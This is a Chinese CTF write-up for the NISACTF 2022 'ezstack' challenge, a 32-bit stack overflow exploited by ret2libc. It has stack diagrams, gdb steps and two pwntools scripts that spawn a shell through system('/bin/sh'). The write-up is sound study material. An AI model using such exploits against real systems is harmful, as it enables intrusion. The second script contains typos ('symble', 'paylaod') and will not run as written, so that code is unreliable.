[NISACTF 2022]ezstack

作者:Vesper Vei
3 分钟阅读

目录

  1. ezstack - 题目复盘
    1. 漏洞分析
    2. 解题步骤
      1. ① 静态分析
      2. ② 动态调试
      3. ③ 利用开发
      4. ④ 最终利用
    3. 工具使用
    4. 关键收获
      1. 技术洞察
      2. 踩坑记录
      3. 模式识别
    5. 关联题目
    6. 扩展思考

[!note] 关联入口:PWN题目索引

ezstack - 题目复盘

[!info] 题目信息

  • 比赛:NISACTF
  • 题目:ezstack
  • 难度:★★☆☆☆
  • 保护机制:NX
  • 漏洞类型:栈溢出
  • 利用技术:ret2libc
  • 架构:x86-32位

前言: 这是一个32位程序,所以与64位程序有着不小的区别。对于pwn而言,在写exp时需要注意的就是函数调用约定的不同。这里读者可以自行搜索相关资源学习,如果真的不清楚,文字是很难讲清楚这件事的。我这里推荐一个b站的视频,不过时长有些感人,但我觉得作为pwn手,你要具备吃苦的品质。 # XMCVE 2020 CTF Pwn入门课程 可以直接看第6集,有讲32位系统的ret2libc技术,老师画了详细的栈帧图讲解,很负责认真。

这道题还是很新手的,本来不打算做复盘笔记,但由于这道题解决了我一个对于call指令的“误解”,所以在此记录个人的领悟心得。

漏洞分析

.data段 存在 bin/sh 因此,可以通过构造栈帧,将该参数传入 system() ,实现获取终端的效果。 栈帧通过 shell() 函数溢出构造ROP

解题步骤

① 静态分析

这里我画了详细的栈帧图,配合文字,相信读者能够理解我的意思。 (ps:图片中rbp有误,应为ebp) longshot20251203213148.jpg|929 左侧的栈帧图是截止到 0x50A 的地方,右侧的栈帧图不完整,只画了 0x51D ~ 0x52A 关键部分的栈帧 先看左侧,简单计算一下,可以得出: 60h48h=18h=2460h - 48h = 18h = 24 由于是32位程序,所以 save_ebp 占4字节,呢么我们可操作空间为 20 字节 | 5操作位(这个名字是我起的) 我们的ROP也就是在这5个操作位上搭建的,思路已经分析过了,在这里我想先讲一下call,也就是我右侧的栈帧图,后面会提供两种 exp,用的方法有细微的区别,但很重要!

这里我们将注意力放到 0x525 call _read 。 call指令等价于: push next_rip ;下一条指令 jmp 函数地址 ;这里就是read@plt地址 看右侧栈帧图前三部分,这都是 call 指令之前的三个压栈指令 对应read() 函数的三个参数(由于32位参数放在栈上),所以第四个位置,放入的是 add_esp 10h 这正是 call _read 的下一条指令! 也正是由于这个特性,在32位调用约定下,所有函数的第一个参数都是上移2个距离的位置保存,这点很重要。

② 动态调试

这里给大家动调一下看看右侧的栈帧在 pwngdb 中的体现: emmm调试的过程中,我发现了一个小小的问题。就是32位程序,ebp指针是不动的,这里由于本人学识有限,可能我想错了,但确实在步入(si) call _read() 内部,并没有 push ebp image.png|921 这里我能力有限无法解答这个问题,但我前4条栈帧都是分析对的,只有第五条栈帧是在我意料之外的: image.png|907 然后这里我遇到了一开始无法gdb程序,需要设置两条参数,还有后续的步骤我都放在这里,读者可以逐行复制运行

Terminal window
set follow-fork-mode parent #GDB 不会跟进 child 的 exec
set follow-exec-mode parent
delete #删除所有断点
b *0x8048525 # call _read()
r
s # 步入函数内部
stack 30

③ 利用开发

第一种,使用 call _system gadget来调用

from pwn import *
# io = remote('node5.anna.nssctf.cn',27166)
io = process('./pwn')
context.log_level = "debug"
call_system = 0x8048512
binsh_addr = 0x804A024
payload = b'a' * (0x48 + 4)
payload += p32(call_system)
payload += p32(binsh_addr)
io.sendlineafter(b'Welcome to NISACTF\n',payload)
io.interactive()

第二种,使用 system@plt gadget来调用,二者有着细微的差别!我只录入了中间不一样的部分:

....
elf = ELF('./pwn')
system_plt = elf.symble['system']
binsh_addr = 0x804A024
payload = b'a' * (0x48 + 4)
payload += p32(system_plt)
paylaod += p32(1) # <----这里不一样!
paylaod += p32(binsh_addr)
....

④ 最终利用

工具使用

pwndbg,IDA

关键收获

搞清楚 call libc的函数与直接调用 plt 表中libc地址的区别

技术洞察

其实这道题出简单了,正常来讲应该不给 bin/sh 字符串的,会给你一个可写地址让你自己写入该 buf 再传入 system() 栈帧如下:

踩坑记录

可能我过于啰嗦了,但我还是想呈现清楚这之间的区别。这里附上我修改后的AI回答,但更加全面和细致。 我们分析如下payload 的栈帧:

payload += p32(A情况:system@plt || B情况:call_system)
paylaod += p32(1)
paylaod += p32(binsh_addr)

我们来深入剖析一下想法。核心疑问在于:为什么我们通常用 system 的 PLT 地址,而不是直接跳回到代码段里的 call system 指令? 这里有一个非常微小但致命的区别,在于 call 指令本身的行为。 让我们来模拟一下这两种情况。

1. call 指令到底做了什么?

在 x86 汇编中,call address 实际上等价于两个动作的组合:

  1. push next_eip:把紧接着 call 指令后面的那条指令的地址(也就是原本函数执行完 system 后该回来的地方)压入栈顶。
  2. jmp address:跳转到目标函数。

2. 场景对比

假设 padding(你预留的返回地址位置)是 0xdeadbeef(无意义数据),/bin/sh 的地址是 0x0804A024

✅ 场景 A:标准的 Ret2Libc (跳向 PLT)

我们将 Return Address 覆盖为 system 的 PLT 地址。 栈的布局(在 system 函数刚开始执行的那一瞬间):

相对位置内容解释
ESP + 8
ESP + 40x0804A024 (/bin/sh)参数 1system 向这里看参数
ESP0xdeadbeef (padding)返回地址system 以为这是它的返回地址

👉 system 也就是去读 [ESP + 4],成功拿到了 /bin/sh


❌ 场景 B:你的方案 (跳向 call system 指令)

你构造的 Payload 顺序:ret_gadget -> 0x8048512 (call指令地址) -> padding -> bin/sh。 我们来一步步执行:

  1. 执行 ret gadget
    • pop eip:EIP 变为 0x8048512

    • ESP 向下移动,现在指向了 padding

  2. 执行 0x8048512 (call _system)
    • ⚠️ 关键动作call 指令首先会把原本代码中 call 后面那条指令的地址(即 0x8048517压入栈中

    • ESP 向上移动 4字节(指向了新压入的 0x8048517)。

    • 跳转到 system栈的布局(在 system 函数刚开始执行的那一瞬间):

相对位置内容解释
ESP + 80x0804A024 (/bin/sh)在这里
ESP + 40xdeadbeef (padding)参数 1:😱 system 读取到了 padding!
ESP0x8048517 (原代码返回地址)返回地址call 自动压入的

看到了吗?因为 call 指令多压入了一个返回地址,导致栈上的数据整体“错位”了一个格。

模式识别

关联题目

扩展思考


创建时间:2025-12-03 19:55


关系图谱

Loading graph...